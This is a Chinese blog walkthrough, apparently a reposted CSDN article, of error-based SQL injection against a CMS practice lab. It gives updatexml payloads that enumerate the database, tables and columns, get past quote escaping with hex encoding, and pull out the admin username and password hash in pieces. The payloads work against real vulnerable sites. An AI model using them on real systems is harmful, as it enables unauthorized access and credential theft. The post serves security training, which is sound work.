cms靶场报错注入

cms靶场报错注入

使用updatexml进行注入

先查询数据库名,得到数据库名称为cms

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

在这里插入图片描述

查看数据库中的表,数据库中的表名,列名在information_schema数据库中保存,查看information_schema数据库表,先查看cms中有多少表得到结果有8个表

?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)

在这里插入图片描述

使用分页查看内容table_name,之前统计cms中共有8张表,但是回显只能回显一行

limit 0,1:查看第0页第一行

limit 1,1:查看第1页第一行

?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

cms_article

?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)

cms_category
cms_file
cms_friendlink
cms_message
cms_notice
cms_page
cms_users

在这里插入图片描述

查看users表中的列名,但是单引号被转义,我们可以将单引号中的内容转为十六进制内容

http://192.168.16.136/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 0,1),0x5e),1)

image-20230823153026513

?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)

userid
username
password

在这里插入图片描述

得到数据库名、表名和列名,查看用户名和密码

?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)

得到用户名:admin

数据回显时可能会有长度限制,使用substr()函数将要查询的内容分批输出。substr()函数括起来的字符串排序第一位是1,但是通常的字符串排序第一位是0,

在这里插入图片描述

先查看密码有多长,密码长度32位

?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)

image-20230823170928779

先显示前16位,然后显示后16位


?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1) #substr(password,1,16)表示password第一位开始输出,输出到第十六位

e10adc3949ba59ab

?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1) #substr(password,17,32)表示password第十七位开始输出,输出到第三十二位

be56e057f20f883e

e10adc3949ba59abbe56e057f20f883e

image-20230823171259061在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_58954236/article/details/132524655
今日推荐